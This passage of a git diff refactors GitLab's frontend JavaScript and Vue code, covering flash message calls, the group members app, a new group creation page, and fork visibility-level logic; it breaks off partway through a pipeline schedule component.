diff --git a/app/assets/javascripts/packages_and_registries/shared/utils.js b/app/assets/javascripts/packages_and_registries/shared/utils.js
index cc5c7ce82bf..93eb90535d1 100644
--- a/app/assets/javascripts/packages_and_registries/shared/utils.js
+++ b/app/assets/javascripts/packages_and_registries/shared/utils.js
@@ -1,7 +1,8 @@
import { queryToObject } from '~/lib/utils/url_utility';
import { FILTERED_SEARCH_TERM } from './constants';
-export const getQueryParams = (query) => queryToObject(query, { gatherArrays: true });
+export const getQueryParams = (query) =>
+ queryToObject(query, { gatherArrays: true, legacySpacesDecode: true });
export const keyValueToFilterToken = (type, data) => ({ type, value: { data } });
diff --git a/app/assets/javascripts/pages/admin/application_settings/integrations/index.js b/app/assets/javascripts/pages/admin/application_settings/integrations/index.js
index f318b6f62d5..53068f72d3f 100644
--- a/app/assets/javascripts/pages/admin/application_settings/integrations/index.js
+++ b/app/assets/javascripts/pages/admin/application_settings/integrations/index.js
@@ -1,8 +1,3 @@
import initIntegrationsList from '~/integrations/index';
-import PersistentUserCallout from '~/persistent_user_callout';
-
-const callout = document.querySelector('.js-admin-integrations-moved');
-
-PersistentUserCallout.factory(callout);
initIntegrationsList();
diff --git a/app/assets/javascripts/pages/admin/jobs/index/components/stop_jobs_modal.vue b/app/assets/javascripts/pages/admin/jobs/index/components/stop_jobs_modal.vue
index 798eeee48bf..ffccc1419a6 100644
--- a/app/assets/javascripts/pages/admin/jobs/index/components/stop_jobs_modal.vue
+++ b/app/assets/javascripts/pages/admin/jobs/index/components/stop_jobs_modal.vue
@@ -1,6 +1,6 @@
<script>
import { GlModal } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { redirectTo } from '~/lib/utils/url_utility';
import { __, s__ } from '~/locale';
@@ -31,7 +31,9 @@ export default {
redirectTo(response.request.responseURL);
})
.catch((error) => {
- createFlash(s__('AdminArea|Stopping jobs failed'));
+ createFlash({
+ message: s__('AdminArea|Stopping jobs failed'),
+ });
throw error;
});
},
diff --git a/app/assets/javascripts/pages/admin/runners/index/index.js b/app/assets/javascripts/pages/admin/runners/index/index.js
index 45ed3ac6bd8..d5563470394 100644
--- a/app/assets/javascripts/pages/admin/runners/index/index.js
+++ b/app/assets/javascripts/pages/admin/runners/index/index.js
@@ -2,6 +2,7 @@ import AdminRunnersFilteredSearchTokenKeys from '~/filtered_search/admin_runners
import { FILTERED_SEARCH } from '~/pages/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import { initInstallRunner } from '~/pages/shared/mount_runner_instructions';
+import { initRunnerList } from '~/runner/runner_list';
initFilteredSearch({
page: FILTERED_SEARCH.ADMIN_RUNNERS,
@@ -10,3 +11,7 @@ initFilteredSearch({
});
initInstallRunner();
+
+if (gon.features?.runnerListViewVueUi) {
+ initRunnerList();
+}
diff --git a/app/assets/javascripts/pages/groups/group_members/index.js b/app/assets/javascripts/pages/groups/group_members/index.js
index b0a70055835..13656ee9b16 100644
--- a/app/assets/javascripts/pages/groups/group_members/index.js
+++ b/app/assets/javascripts/pages/groups/group_members/index.js
@@ -29,46 +29,43 @@ function mountRemoveMemberModal() {
const SHARED_FIELDS = ['account', 'expires', 'maxRole', 'expiration', 'actions'];
-initMembersApp(document.querySelector('.js-group-members-list'), {
- namespace: MEMBER_TYPES.user,
- tableFields: SHARED_FIELDS.concat(['source', 'granted']),
- tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
- tableSortableFields: ['account', 'granted', 'maxRole', 'lastSignIn'],
- requestFormatter: groupMemberRequestFormatter,
- filteredSearchBar: {
- show: true,
- tokens: ['two_factor', 'with_inherited_permissions'],
- searchParam: 'search',
- placeholder: s__('Members|Filter members'),
- recentSearchesStorageKey: 'group_members',
+initMembersApp(document.querySelector('.js-group-members-list-app'), {
+ [MEMBER_TYPES.user]: {
+ tableFields: SHARED_FIELDS.concat(['source', 'granted']),
+ tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
+ tableSortableFields: ['account', 'granted', 'maxRole', 'lastSignIn'],
+ requestFormatter: groupMemberRequestFormatter,
+ filteredSearchBar: {
+ show: true,
+ tokens: ['two_factor', 'with_inherited_permissions'],
+ searchParam: 'search',
+ placeholder: s__('Members|Filter members'),
+ recentSearchesStorageKey: 'group_members',
+ },
},
-});
-
-initMembersApp(document.querySelector('.js-group-group-links-list'), {
- namespace: MEMBER_TYPES.group,
- tableFields: SHARED_FIELDS.concat('granted'),
- tableAttrs: {
- table: { 'data-qa-selector': 'groups_list' },
- tr: { 'data-qa-selector': 'group_row' },
+ [MEMBER_TYPES.group]: {
+ tableFields: SHARED_FIELDS.concat('granted'),
+ tableAttrs: {
+ table: { 'data-qa-selector': 'groups_list' },
+ tr: { 'data-qa-selector': 'group_row' },
+ },
+ requestFormatter: groupLinkRequestFormatter,
},
- requestFormatter: groupLinkRequestFormatter,
-});
-initMembersApp(document.querySelector('.js-group-invited-members-list'), {
- namespace: MEMBER_TYPES.invite,
- tableFields: SHARED_FIELDS.concat('invited'),
- requestFormatter: groupMemberRequestFormatter,
- filteredSearchBar: {
- show: true,
- tokens: [],
- searchParam: 'search_invited',
- placeholder: s__('Members|Search invited'),
- recentSearchesStorageKey: 'group_invited_members',
+ [MEMBER_TYPES.invite]: {
+ tableFields: SHARED_FIELDS.concat('invited'),
+ requestFormatter: groupMemberRequestFormatter,
+ filteredSearchBar: {
+ show: true,
+ tokens: [],
+ searchParam: 'search_invited',
+ placeholder: s__('Members|Search invited'),
+ recentSearchesStorageKey: 'group_invited_members',
+ },
+ },
+ [MEMBER_TYPES.accessRequest]: {
+ tableFields: SHARED_FIELDS.concat('requested'),
+ requestFormatter: groupMemberRequestFormatter,
},
-});
-initMembersApp(document.querySelector('.js-group-access-requests-list'), {
- namespace: MEMBER_TYPES.accessRequest,
- tableFields: SHARED_FIELDS.concat('requested'),
- requestFormatter: groupMemberRequestFormatter,
});
groupsSelect();
diff --git a/app/assets/javascripts/pages/groups/new/components/app.vue b/app/assets/javascripts/pages/groups/new/components/app.vue
new file mode 100644
index 00000000000..9aac364d20e
--- /dev/null
+++ b/app/assets/javascripts/pages/groups/new/components/app.vue
@@ -0,0 +1,55 @@
+<script>
+import importGroupIllustration from '@gitlab/svgs/dist/illustrations/group-import.svg';
+import newGroupIllustration from '@gitlab/svgs/dist/illustrations/group-new.svg';
+
+import { s__ } from '~/locale';
+import NewNamespacePage from '~/vue_shared/new_namespace/new_namespace_page.vue';
+import createGroupDescriptionDetails from './create_group_description_details.vue';
+
+const PANELS = [
+ {
+ name: 'create-group-pane',
+ selector: '#create-group-pane',
+ title: s__('GroupsNew|Create group'),
+ description: s__(
+ 'GroupsNew|Assemble related projects together and grant members access to several projects at once.',
+ ),
+ illustration: newGroupIllustration,
+ details: createGroupDescriptionDetails,
+ },
+ {
+ name: 'import-group-pane',
+ selector: '#import-group-pane',
+ title: s__('GroupsNew|Import group'),
+ description: s__(
+ 'GroupsNew|Export groups with all their related data and move to a new GitLab instance.',
+ ),
+ illustration: importGroupIllustration,
+ details: 'Migrate your existing groups from another instance of GitLab.',
+ },
+];
+
+export default {
+ components: {
+ NewNamespacePage,
+ },
+ props: {
+ hasErrors: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ PANELS,
+};
+</script>
+
+<template>
+ <new-namespace-page
+ :jump-to-last-persisted-panel="hasErrors"
+ :initial-breadcrumb="s__('New group')"
+ :panels="$options.PANELS"
+ :title="s__('GroupsNew|Create new group')"
+ persistence-key="new_group_last_active_tab"
+ />
+</template>
diff --git a/app/assets/javascripts/pages/groups/new/components/create_group_description_details.vue b/app/assets/javascripts/pages/groups/new/components/create_group_description_details.vue
new file mode 100644
index 00000000000..ea08a0821a8
--- /dev/null
+++ b/app/assets/javascripts/pages/groups/new/components/create_group_description_details.vue
@@ -0,0 +1,44 @@
+<script>
+import { GlSprintf, GlLink } from '@gitlab/ui';
+import { helpPagePath } from '~/helpers/help_page_helper';
+
+export default {
+ components: {
+ GlLink,
+ GlSprintf,
+ },
+ paths: {
+ groupsHelpPath: helpPagePath('user/group/index'),
+ subgroupsHelpPath: helpPagePath('user/group/subgroups/index'),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <p>
+ <gl-sprintf
+ :message="
+ s__(
+ 'GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups.',
+ )
+ "
+ >
+ <template #link="{ content }">
+ <gl-link :href="$options.paths.groupsHelpPath" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ <p>
+ <gl-sprintf
+ :message="
+ s__('GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}.')
+ "
+ >
+ <template #link="{ content }">
+ <gl-link :href="$options.paths.subgroupsHelpPath" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pages/groups/new/index.js b/app/assets/javascripts/pages/groups/new/index.js
index 569b5afd676..7557edb1b49 100644
--- a/app/assets/javascripts/pages/groups/new/index.js
+++ b/app/assets/javascripts/pages/groups/new/index.js
@@ -1,8 +1,9 @@
-import $ from 'jquery';
+import Vue from 'vue';
import BindInOut from '~/behaviors/bind_in_out';
import initFilePickers from '~/file_pickers';
import Group from '~/group';
-import LinkedTabs from '~/lib/utils/bootstrap_linked_tabs';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import NewGroupCreationApp from './components/app.vue';
import GroupPathValidator from './group_path_validator';
new GroupPathValidator(); // eslint-disable-line no-new
@@ -12,15 +13,21 @@ initFilePickers();
new Group(); // eslint-disable-line no-new
-const CONTAINER_SELECTOR = '.group-edit-container .nav-tabs';
-const DEFAULT_ACTION = '#create-group-pane';
-// eslint-disable-next-line no-new
-new LinkedTabs({
- defaultAction: DEFAULT_ACTION,
- parentEl: CONTAINER_SELECTOR,
- hashedTabs: true,
-});
-
-if (window.location.hash) {
- $(CONTAINER_SELECTOR).find(`a[href="${window.location.hash}"]`).tab('show');
+function initNewGroupCreation(el) {
+ const { hasErrors } = el.dataset;
+
+ const props = {
+ hasErrors: parseBoolean(hasErrors),
+ };
+
+ return new Vue({
+ el,
+ render(h) {
+ return h(NewGroupCreationApp, { props });
+ },
+ });
}
+
+const el = document.querySelector('.js-new-group-creation');
+
+initNewGroupCreation(el);
diff --git a/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
index 636eea5d7ac..a8d7a83cdd6 100644
--- a/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
@@ -3,6 +3,7 @@ import GroupRunnersFilteredSearchTokenKeys from '~/filtered_search/group_runners
import initSharedRunnersForm from '~/group_settings/mount_shared_runners';
import { FILTERED_SEARCH } from '~/pages/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
+import { initRunnerAwsDeployments } from '~/pages/shared/mount_runner_aws_deployments';
import { initInstallRunner } from '~/pages/shared/mount_runner_instructions';
import initSettingsPanels from '~/settings_panels';
@@ -20,3 +21,4 @@ initSharedRunnersForm();
initVariableList();
initInstallRunner();
+initRunnerAwsDeployments();
diff --git a/app/assets/javascripts/pages/milestones/shared/components/promote_milestone_modal.vue b/app/assets/javascripts/pages/milestones/shared/components/promote_milestone_modal.vue
index 8d4997586dd..e42e89ce021 100644
--- a/app/assets/javascripts/pages/milestones/shared/components/promote_milestone_modal.vue
+++ b/app/assets/javascripts/pages/milestones/shared/components/promote_milestone_modal.vue
@@ -1,6 +1,6 @@
<script>
import { GlModal } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { visitUrl } from '~/lib/utils/url_utility';
import { s__, sprintf } from '~/locale';
@@ -63,7 +63,9 @@ export default {
visitUrl(response.data.url);
})
.catch((error) => {
- createFlash(error);
+ createFlash({
+ message: error,
+ });
})
.finally(() => {
this.visible = false;
diff --git a/app/assets/javascripts/pages/profiles/show/index.js b/app/assets/javascripts/pages/profiles/show/index.js
index b5441127797..226ef4c4e23 100644
--- a/app/assets/javascripts/pages/profiles/show/index.js
+++ b/app/assets/javascripts/pages/profiles/show/index.js
@@ -2,7 +2,7 @@ import emojiRegex from 'emoji-regex';
import $ from 'jquery';
import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
import * as Emoji from '~/emoji';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import EmojiMenu from './emoji_menu';
@@ -81,4 +81,8 @@ Emoji.initEmojiMap()
}
});
})
- .catch(() => createFlash(__('Failed to load emoji list.')));
+ .catch(() =>
+ createFlash({
+ message: __('Failed to load emoji list.'),
+ }),
+ );
diff --git a/app/assets/javascripts/pages/projects/blob/show/index.js b/app/assets/javascripts/pages/projects/blob/show/index.js
index 8a8ce70e998..6cc0095f5a5 100644
--- a/app/assets/javascripts/pages/projects/blob/show/index.js
+++ b/app/assets/javascripts/pages/projects/blob/show/index.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import TableOfContents from '~/blob/components/table_contents.vue';
import PipelineTourSuccessModal from '~/blob/pipeline_tour_success_modal.vue';
import BlobViewer from '~/blob/viewer/index';
import GpgBadges from '~/gpg_badges';
@@ -19,12 +20,16 @@ const apolloProvider = new VueApollo({
const viewBlobEl = document.querySelector('#js-view-blob-app');
if (viewBlobEl) {
- const { blobPath, projectPath } = viewBlobEl.dataset;
+ const { blobPath, projectPath, targetBranch, originalBranch } = viewBlobEl.dataset;
// eslint-disable-next-line no-new
new Vue({
el: viewBlobEl,
apolloProvider,
+ provide: {
+ targetBranch,
+ originalBranch,
+ },
render(createElement) {
return createElement(BlobContentViewer, {
props: {
@@ -92,3 +97,15 @@ if (successPipelineEl) {
},
});
}
+
+const tableContentsEl = document.querySelector('.js-table-contents');
+
+if (tableContentsEl) {
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: tableContentsEl,
+ render(h) {
+ return h(TableOfContents);
+ },
+ });
+}
diff --git a/app/assets/javascripts/pages/projects/branches/index/index.js b/app/assets/javascripts/pages/projects/branches/index/index.js
index 27ec746ad02..97dc76908af 100644
--- a/app/assets/javascripts/pages/projects/branches/index/index.js
+++ b/app/assets/javascripts/pages/projects/branches/index/index.js
@@ -3,6 +3,8 @@ import AjaxLoadingSpinner from '~/branches/ajax_loading_spinner';
import BranchSortDropdown from '~/branches/branch_sort_dropdown';
import DeleteModal from '~/branches/branches_delete_modal';
import initDiverganceGraph from '~/branches/divergence_graph';
+import initDeleteBranchButton from '~/branches/init_delete_branch_button';
+import initDeleteBranchModal from '~/branches/init_delete_branch_modal';
AjaxLoadingSpinner.init();
new DeleteModal(); // eslint-disable-line no-new
@@ -14,3 +16,9 @@ const { divergingCountsEndpoint, defaultBranch } = document.querySelector(
initDiverganceGraph(divergingCountsEndpoint, defaultBranch);
BranchSortDropdown();
initDeprecatedRemoveRowBehavior();
+
+document
+ .querySelectorAll('.js-delete-branch-button')
+ .forEach((elem) => initDeleteBranchButton(elem));
+
+initDeleteBranchModal();
diff --git a/app/assets/javascripts/pages/projects/feature_flags_user_lists/index/index.js b/app/assets/javascripts/pages/projects/feature_flags_user_lists/index/index.js
new file mode 100644
index 00000000000..519e04e14fb
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/feature_flags_user_lists/index/index.js
@@ -0,0 +1,25 @@
+/* eslint-disable no-new */
+
+import Vue from 'vue';
+import Vuex from 'vuex';
+import UserLists from '~/user_lists/components/user_lists.vue';
+import createStore from '~/user_lists/store/index';
+
+Vue.use(Vuex);
+
+const el = document.querySelector('#js-user-lists');
+
+const { featureFlagsHelpPagePath, errorStateSvgPath, projectId, newUserListPath } = el.dataset;
+
+new Vue({
+ el,
+ store: createStore({ projectId }),
+ provide: {
+ featureFlagsHelpPagePath,
+ errorStateSvgPath,
+ newUserListPath,
+ },
+ render(createElement) {
+ return createElement(UserLists);
+ },
+});
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/app.vue b/app/assets/javascripts/pages/projects/forks/new/components/app.vue
index 02b357d389b..7fb41c6e7b7 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/app.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/app.vue
@@ -38,6 +38,10 @@ export default {
type: String,
required: true,
},
+ restrictedVisibilityLevels: {
+ type: Array,
+ required: true,
+ },
},
};
</script>
@@ -66,6 +70,7 @@ export default {
:project-path="projectPath"
:project-description="projectDescription"
:project-visibility="projectVisibility"
+ :restricted-visibility-levels="restrictedVisibilityLevels"
/>
</div>
</div>
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue b/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
index 07cc0ce46bc..75c3b6d564c 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
@@ -26,10 +26,10 @@ const PRIVATE_VISIBILITY = 'private';
const INTERNAL_VISIBILITY = 'internal';
const PUBLIC_VISIBILITY = 'public';
-const ALLOWED_VISIBILITY = {
- private: [PRIVATE_VISIBILITY],
- internal: [INTERNAL_VISIBILITY, PRIVATE_VISIBILITY],
- public: [INTERNAL_VISIBILITY, PRIVATE_VISIBILITY, PUBLIC_VISIBILITY],
+const VISIBILITY_LEVEL = {
+ [PRIVATE_VISIBILITY]: 0,
+ [INTERNAL_VISIBILITY]: 10,
+ [PUBLIC_VISIBILITY]: 20,
};
const initFormField = ({ value, required = true, skipValidation = false }) => ({
@@ -95,6 +95,10 @@ export default {
type: String,
required: true,
},
+ restrictedVisibilityLevels: {
+ type: Array,
+ required: true,
+ },
},
data() {
const form = {
@@ -111,10 +115,7 @@ export default {
required: false,
skipValidation: true,
}),
- visibility: initFormField({
- value: this.projectVisibility,
- skipValidation: true,
- }),
+ visibility: initFormField({ value: this.getInitialVisibilityValue() }),
},
};
return {
@@ -127,14 +128,38 @@ export default {
projectUrl() {
return `${gon.gitlab_url}/`;
},
- projectAllowedVisibility() {
- return ALLOWED_VISIBILITY[this.projectVisibility];
+ projectVisibilityLevel() {
+ return VISIBILITY_LEVEL[this.projectVisibility];
+ },
+ namespaceVisibilityLevel() {
+ const visibility = this.form.fields.namespace.value?.visibility || PUBLIC_VISIBILITY;
+ return VISIBILITY_LEVEL[visibility];
+ },
+ visibilityLevelCap() {
+ return Math.min(this.projectVisibilityLevel, this.namespaceVisibilityLevel);
+ },
+ restrictedVisibilityLevelsSet() {
+ return new Set(this.restrictedVisibilityLevels);
},
- namespaceAllowedVisibility() {
- return (
- ALLOWED_VISIBILITY[this.form.fields.namespace.value?.visibility] ||
- ALLOWED_VISIBILITY[PUBLIC_VISIBILITY]
+ allowedVisibilityLevels() {
+ const allowedLevels = Object.entries(VISIBILITY_LEVEL).reduce(
+ (levels, [levelName, levelValue]) => {
+ if (
+ !this.restrictedVisibilityLevelsSet.has(levelValue) &&
+ levelValue <= this.visibilityLevelCap
+ ) {
+ levels.push(levelName);
+ }
+ return levels;
+ },
+ [],
);
+
+ if (!allowedLevels.length) {
+ return [PRIVATE_VISIBILITY];
+ }
+
+ return allowedLevels;
},
visibilityLevels() {
return [
@@ -142,7 +167,9 @@ export default {
text: s__('ForkProject|Private'),
value: PRIVATE_VISIBILITY,
icon: 'lock',
- help: s__('ForkProject|The project can be accessed without any authentication.'),
+ help: s__(
+ 'ForkProject|Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group.',
+ ),
disabled: this.isVisibilityLevelDisabled(PRIVATE_VISIBILITY),
},
{
@@ -156,9 +183,7 @@ export default {
text: s__('ForkProject|Public'),
value: PUBLIC_VISIBILITY,
icon: 'earth',
- help: s__(
- 'ForkProject|Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group.',
- ),
+ help: s__('ForkProject|The project can be accessed without any authentication.'),
disabled: this.isVisibilityLevelDisabled(PUBLIC_VISIBILITY),
},
];
@@ -166,12 +191,9 @@ export default {
},
watch: {
// eslint-disable-next-line func-names
- 'form.fields.namespace.value': function (newVal) {
- const { visibility } = newVal;
-
- if (this.projectAllowedVisibility.includes(visibility)) {
- this.form.fields.visibility.value = visibility;
- }
+ 'form.fields.namespace.value': function () {
+ this.form.fields.visibility.value =
+ this.restrictedVisibilityLevels.length !== 0 ? null : PRIVATE_VISIBILITY;
},
// eslint-disable-next-line func-names
'form.fields.name.value': function (newVal) {
@@ -186,11 +208,11 @@ export default {
const { data } = await axios.get(this.endpoint);
this.namespaces = data.namespaces;
},
- isVisibilityLevelDisabled(visibilityLevel) {
- return !(
- this.projectAllowedVisibility.includes(visibilityLevel) &&
- this.namespaceAllowedVisibility.includes(visibilityLevel)
- );
+ isVisibilityLevelDisabled(visibility) {
+ return !this.allowedVisibilityLevels.includes(visibility);
+ },
+ getInitialVisibilityValue() {
+ return this.restrictedVisibilityLevels.length !== 0 ? null : this.projectVisibility;
},
async onSubmit() {
this.form.showValidation = true;
@@ -222,7 +244,11 @@ export default {
redirectTo(data.web_url);
return;
} catch (error) {
- createFlash({ message: error });
+ createFlash({
+ message: s__(
+ 'ForkProject|An error occurred while forking the project. Please try again.',
+ ),
+ });
}
},
},
@@ -322,7 +348,11 @@ export default {
/>
</gl-form-group>
- <gl-form-group>
+ <gl-form-group
+ v-validation:[form.showValidation]
+ :invalid-feedback="s__('ForkProject|Please select a visibility level')"
+ :state="form.fields.visibility.state"
+ >
<label>
{{ s__('ForkProject|Visibility level') }}
<gl-link :href="visibilityHelpPath" target="_blank">
@@ -333,6 +363,7 @@ export default {
v-model="form.fields.visibility.value"
data-testid="fork-visibility-radio-group"
name="visibility"
+ :aria-label="__('visibility')"
required
>
<gl-form-radio
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue b/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue
index bc47b124f8b..10753de6cd0 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue
@@ -1,6 +1,6 @@
<script>
import { GlTabs, GlTab, GlLoadingIcon, GlSearchBoxByType } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import ForkGroupsListItem from './fork_groups_list_item.vue';
@@ -44,7 +44,11 @@ export default {
.then((response) => {
this.namespaces = response.data.namespaces;
})
- .catch(() => createFlash(__('There was a problem fetching groups.')));
+ .catch(() =>
+ createFlash({
+ message: __('There was a problem fetching groups.'),
+ }),
+ );
},
},
diff --git a/app/assets/javascripts/pages/projects/forks/new/index.js b/app/assets/javascripts/pages/projects/forks/new/index.js
index 372967c8a1e..1a171252048 100644
--- a/app/assets/javascripts/pages/projects/forks/new/index.js
+++ b/app/assets/javascripts/pages/projects/forks/new/index.js
@@ -16,6 +16,7 @@ if (gon.features.forkProjectForm) {
projectPath,
projectDescription,
projectVisibility,
+ restrictedVisibilityLevels,
} = mountElement.dataset;
// eslint-disable-next-line no-new
@@ -38,6 +39,7 @@ if (gon.features.forkProjectForm) {
projectPath,
projectDescription,
projectVisibility,
+ restrictedVisibilityLevels: JSON.parse(restrictedVisibilityLevels),
},
});
},
diff --git a/app/assets/javascripts/pages/projects/index.js b/app/assets/javascripts/pages/projects/index.js
index 45e9643b3f3..1eab3becbc3 100644
--- a/app/assets/javascripts/pages/projects/index.js
+++ b/app/assets/javascripts/pages/projects/index.js
@@ -1,5 +1,7 @@
import ShortcutsNavigation from '../../behaviors/shortcuts/shortcuts_navigation';
+import { initSidebarTracking } from '../shared/nav/sidebar_tracking';
import Project from './project';
new Project(); // eslint-disable-line no-new
new ShortcutsNavigation(); // eslint-disable-line no-new
+initSidebarTracking();
diff --git a/app/assets/javascripts/pages/projects/issues/show.js b/app/assets/javascripts/pages/projects/issues/show.js
index 3143ff5adac..3cea61262ea 100644
--- a/app/assets/javascripts/pages/projects/issues/show.js
+++ b/app/assets/javascripts/pages/projects/issues/show.js
@@ -1,8 +1,6 @@
import loadAwardsHandler from '~/awards_handler';
import ShortcutsIssuable from '~/behaviors/shortcuts/shortcuts_issuable';
import initIssuableSidebar from '~/init_issuable_sidebar';
-import initInviteMembersModal from '~/invite_members/init_invite_members_modal';
-import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigger';
import { IssuableType } from '~/issuable_show/constants';
import Issue from '~/issue';
import '~/notes/index';
@@ -34,8 +32,6 @@ export default function initShowIssue() {
initIssueHeaderActions(store);
initSentryErrorStackTraceApp();
initRelatedMergeRequestsApp();
- initInviteMembersModal();
- initInviteMembersTrigger();
import(/* webpackChunkName: 'design_management' */ '~/design_management')
.then((module) => module.default())
diff --git a/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue b/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue
index 81ffaa6f7a3..aaa9bb906b2 100644
--- a/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue
+++ b/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue
@@ -1,6 +1,6 @@
<script>
import { GlSprintf, GlModal } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { visitUrl } from '~/lib/utils/url_utility';
import { s__, __, sprintf } from '~/locale';
@@ -70,7 +70,9 @@ export default {
labelUrl: this.url,
successful: false,
});
- createFlash(error);
+ createFlash({
+ message: error,
+ });
});
},
},
diff --git a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
index 6cd3202815b..d6b6c9fe06a 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
@@ -4,8 +4,6 @@ import loadAwardsHandler from '~/awards_handler';
import ShortcutsIssuable from '~/behaviors/shortcuts/shortcuts_issuable';
import initPipelines from '~/commit/pipelines/pipelines_bundle';
import initIssuableSidebar from '~/init_issuable_sidebar';
-import initInviteMembersModal from '~/invite_members/init_invite_members_modal';
-import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigger';
import StatusBox from '~/issuable/components/status_box.vue';
import createDefaultClient from '~/lib/graphql';
import { handleLocationHash } from '~/lib/utils/common_utils';
@@ -29,8 +27,6 @@ export default function initMergeRequestShow() {
} else {
loadAwardsHandler();
}
- initInviteMembersModal();
- initInviteMembersTrigger();
const el = document.querySelector('.js-mr-status-box');
const apolloProvider = new VueApollo({ defaultClient: createDefaultClient() });
diff --git a/app/assets/javascripts/pages/projects/packages/infrastructure_registry/show/index.js b/app/assets/javascripts/pages/projects/packages/infrastructure_registry/show/index.js
new file mode 100644
index 00000000000..44d9e2ffb6e
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/packages/infrastructure_registry/show/index.js
@@ -0,0 +1,3 @@
+import initDetails from '~/packages_and_registries/infrastructure_registry/details_app_bundle';
+
+initDetails();
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
index 159c619e16c..d0ec5668d21 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
@@ -1,7 +1,15 @@
<script>
-import { GlFormRadio, GlFormRadioGroup, GlLink, GlSprintf } from '@gitlab/ui';
+import {
+ GlFormRadio,
+ GlFormRadioGroup,
+ GlIcon,
+ GlLink,
+ GlSprintf,
+ GlTooltipDirective,
+} from '@gitlab/ui';
import { getWeekdayNames } from '~/lib/utils/datetime_utility';
-import { s__, sprintf } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
const KEY_EVERY_DAY = 'everyDay';
const KEY_EVERY_WEEK = 'everyWeek';
@@ -12,15 +20,25 @@ export default {
components: {
GlFormRadio,
GlFormRadioGroup,
+ GlIcon,
GlLink,
GlSprintf,
},
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ mixins: [glFeatureFlagMixin()],
props: {
initialCronInterval: {
type: String,
required: false,
default: '',
},
+ dailyLimit: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
data() {
return {
@@ -80,6 +98,17 @@ export default {
weekday() {
return getWeekdayNames()[this.randomWeekDayIndex];
},
+ parsedDailyLimit() {
+ return this.dailyLimit ? (24 * 60) / this.dailyLimit : null;
+ },
+ scheduleDailyLimitMsg() {
+ return sprintf(
+ __(
+ 'Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran.',
+ ),
+ { limit: this.parsedDailyLimit },
+ );
+ },
},
watch: {
cronInterval() {
@@ -111,6 +140,11 @@ export default {
generateRandomDay() {
return Math.floor(Math.random() * 28);
},
+ showDailyLimitMessage({ value }) {
+ return (
+ value === KEY_CUSTOM && this.glFeatures.ciDailyLimitForPipelineSchedules && this.dailyLimit
+ );
+ },
},
};
</script>
@@ -131,7 +165,15 @@ export default {
</gl-link>
</template>
</gl-sprintf>
+
<template v-else>{{ option.text }}</template>
+
+ <gl-icon
+ v-if="showDailyLimitMessage(option)"
